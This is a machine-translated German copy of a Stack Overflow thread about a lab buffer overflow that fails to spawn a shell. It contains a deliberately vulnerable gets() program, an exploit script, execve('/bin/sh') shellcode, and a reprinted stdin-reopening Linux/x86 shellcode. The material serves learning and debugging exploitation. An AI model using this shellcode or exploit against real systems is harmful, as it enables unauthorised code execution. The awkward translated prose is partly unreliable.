Shellcode für einen einfachen Stapelüberlauf: Ausgenutzt-Programm mit Schale endet direkt nach execve ( „/ bin / sh“)

StackOverflow https://stackoverflow.com/questions/2859127

Frage

spielte ich mit Puffer um überläuft auf Linux (AMD64) und versucht, ein einfaches Programm zu nutzen, aber es ist fehlgeschlagen. Ich deaktiviert die Sicherheitsfunktionen (Adressraum Layout Randomisierung mit sysctl -w kernel.randomize_va_space = 0 und nx Bit im BIOS). Es springt auf den Stapel und führt den Shellcode, aber es ist kein Shell starten. Die execve syscall gelingt es aber danach beendet er nur. Jede Idee, was falsch ist? Das Ausführen des Shellcode Standalone funktioniert gut.

Bonus Frage: Warum muss ich auf Satz rax auf Null, bevor printf Aufruf? (Siehe Kommentar im Code)

Vulnerable Datei buffer.s :

.data
.fmtsp:
.string "Stackpointer %p\n"
.fmtjump:
.string "Jump to %p\n"
.text
.global main
main:
    push %rbp
    mov %rsp, %rbp

    sub $120,  %rsp

    # calling printf without setting rax
    # to zero results in a segfault. why?
    xor %rax, %rax 
    mov %rsp, %rsi
    mov $.fmtsp, %rdi
    call printf

    mov %rsp, %rdi
    call gets

    xor %rax, %rax
    mov $.fmtjump, %rdi
    mov 8(%rbp), %rsi
    call printf

    xor %rax, %rax
    leave
    ret

shellcode.s

.text
.global main
main:
    mov $0x68732f6e69622fff, %rbx
    shr $0x8, %rbx
    push %rbx
    mov %rsp, %rdi
    xor %rsi, %rsi
    xor %rdx, %rdx
    xor %rax, %rax
    add $0x3b, %rax
    syscall

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05"
stackpointer = "\x7f\xff\xff\xff\xe3\x28"
output = shellcode
output += 'a' * (120 - len(shellcode)) # fill buffer
output += 'b' * 8 # override stored base pointer
output += ''.join(reversed(stackpointer))
print output

Zusammengestellt mit:

$ gcc -o buffer buffer.s
$ gcc -o shellcode shellcode.s

Schritte mit:

$ python exploit.py | ./buffer
Stackpointer 0x7fffffffe328
Jump to 0x7fffffffe328

Debugging mit GDB:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb)
$ gdb buffer
(gdb) run < exploit.txt
Starting program: /home/henning/bo/buffer < exploit.txt
Stackpointer 0x7fffffffe308
Jump to 0x7fffffffe308
process 4185 is executing new program: /bin/dash

Program exited normally.
War es hilfreich?

Lösung

Ich habe so ziemlich das gleiche Problem jetzt mit Ubuntu 9.10 in einer VM. Behinderte aller Sicherheitsmaßnahmen des OS und einfache Taten wie „das Programm beenden und Satz austritts Code 42“ funktionieren, aber beim Versuch, eine Schale zu öffnen, wird das Programm beendet gerade. Ausgabe von gdb ist identisch:

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8

Enter password: Sorry. Wrong password.
Executing new program: /bin/bash

Program exited normally.
(gdb)

Das Ding ist, muss ich es in ca. arbeiten. 16 Stunden für eine Präsentation :-D


Update: Ich fand diese ordentlich Studie: www.shell-storm.org/papers/files/539.pdf

Auf Seite 16 heißt es: „Wenn wir versuchen, eine Shell ausführen, beendet sie sofort in dieser Konfiguration“

In anderen Beispielen, die nicht Gebrauch machen wird (), sie laichen sehr gut eine Shell. Leider haben sie nicht geben einen Hinweis auf, warum es nicht so. : (


Nächstes Update: Es scheint, es mit stdin zu tun hat. Die Schale kann nicht richtig das man es verwenden, aus dem ursprünglichen Prozess bekommt. Ich versuchte, ein minimal-Shell I die Quellen für (evilsh) gefunden. Es stürzte an dem Punkt, wo er versuchte, Eingang zu lesen. Meine Vermutung ist, dass bash / dash Kontrollen für dieses und nur leise wird beendet, wenn etwas mit stdin falsch ist.


Ok bitte töte mich nicht für dieses Gespräch hier mit mir zu haben, aber ...

ich eine Lösung gefunden!

Aus irgendeinem Grund ist es notwendig, die Eingaben wieder zu öffnen. Ich fand eine Arbeitsshellcode hier:

http://www.milw0rm.com/shellcode/2040

Ich habe keine Eingabeaufforderung hart sehen, aber ich kann Programme usw. mit der Shell ausgeführt, das sich öffnet.

Andere Tipps

Die Verknüpfung von Zenoc vorgesehen ist tot, aber trotzdem in der Wayback Maschine. Der Einfachheit halber habe ich es unten wiedergegeben. Ich hatte add $0x10,%esp an der Spitze gehören mir mehr Stapel Raum zu geben, da alle pushes im Code in den Puffer aßen, wo mein Shellcode gespeichert wurde. Wenn Sie möchten auch, dass mit dem Shellcode enthalten, fügen Sie einfach „\ x83 \ XC4 \ x10“ an den Start. Der Shellcode ist 55 Bytes ohne meine hinaus und 58 mit.

/*
 * $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $
 *
 * gets-linux.c - stdin re-open shellcode for Linux/x86
 * Copyright (c) 2003 Marco Ivaldi <raptor@0xdeadbeef.info>
 *
 * Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
 * descriptor and re-opens /dev/tty, then does an execve() of /bin/sh.
 * Useful to exploit some gets() buffer overflows in an elegant way...
 */

/*
 * close(0) 
 *
 * 8049380:       31 c0                   xor    %eax,%eax
 * 8049382:       31 db                   xor    %ebx,%ebx
 * 8049384:       b0 06                   mov    $0x6,%al
 * 8049386:       cd 80                   int    $0x80
 *
 * open("/dev/tty", O_RDWR | ...)
 *
 * 8049388:       53                      push   %ebx
 * 8049389:       68 2f 74 74 79          push   $0x7974742f
 * 804938e:       68 2f 64 65 76          push   $0x7665642f
 * 8049393:       89 e3                   mov    %esp,%ebx
 * 8049395:       31 c9                   xor    %ecx,%ecx
 * 8049397:       66 b9 12 27             mov    $0x2712,%cx
 * 804939b:       b0 05                   mov    $0x5,%al
 * 804939d:       cd 80                   int    $0x80
 *
 * execve("/bin/sh", ["/bin/sh"], NULL)
 *
 * 804939f:       31 c0                   xor    %eax,%eax
 * 80493a1:       50                      push   %eax
 * 80493a2:       68 2f 2f 73 68          push   $0x68732f2f
 * 80493a7:       68 2f 62 69 6e          push   $0x6e69622f
 * 80493ac:       89 e3                   mov    %esp,%ebx
 * 80493ae:       50                      push   %eax
 * 80493af:       53                      push   %ebx
 * 80493b0:       89 e1                   mov    %esp,%ecx
 * 80493b2:       99                      cltd   
 * 80493b3:       b0 0b                   mov    $0xb,%al
 * 80493b5:       cd 80                   int    $0x80
 */

char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80"
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80"
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

main()
{
    int (*f)() = (int (*)())sc; f();
}

// milw0rm.com [2006-07-20]

. Hinweis: Ich konnte das nicht hinzufügen, als Bearbeitung auf Zenoc Antwort, weil die Bearbeitungswarteschlange voll ist

Wenn Sie Probleme haben, die Adresse des Shellcodes ausfindig aufgrund Stapeln im Terminal und gdb unterscheiden, haben einen Blick auf meine Antwort hier .

Lizenziert unter: CC-BY-SA mit Zuschreibung
Nicht verbunden mit StackOverflow
scroll top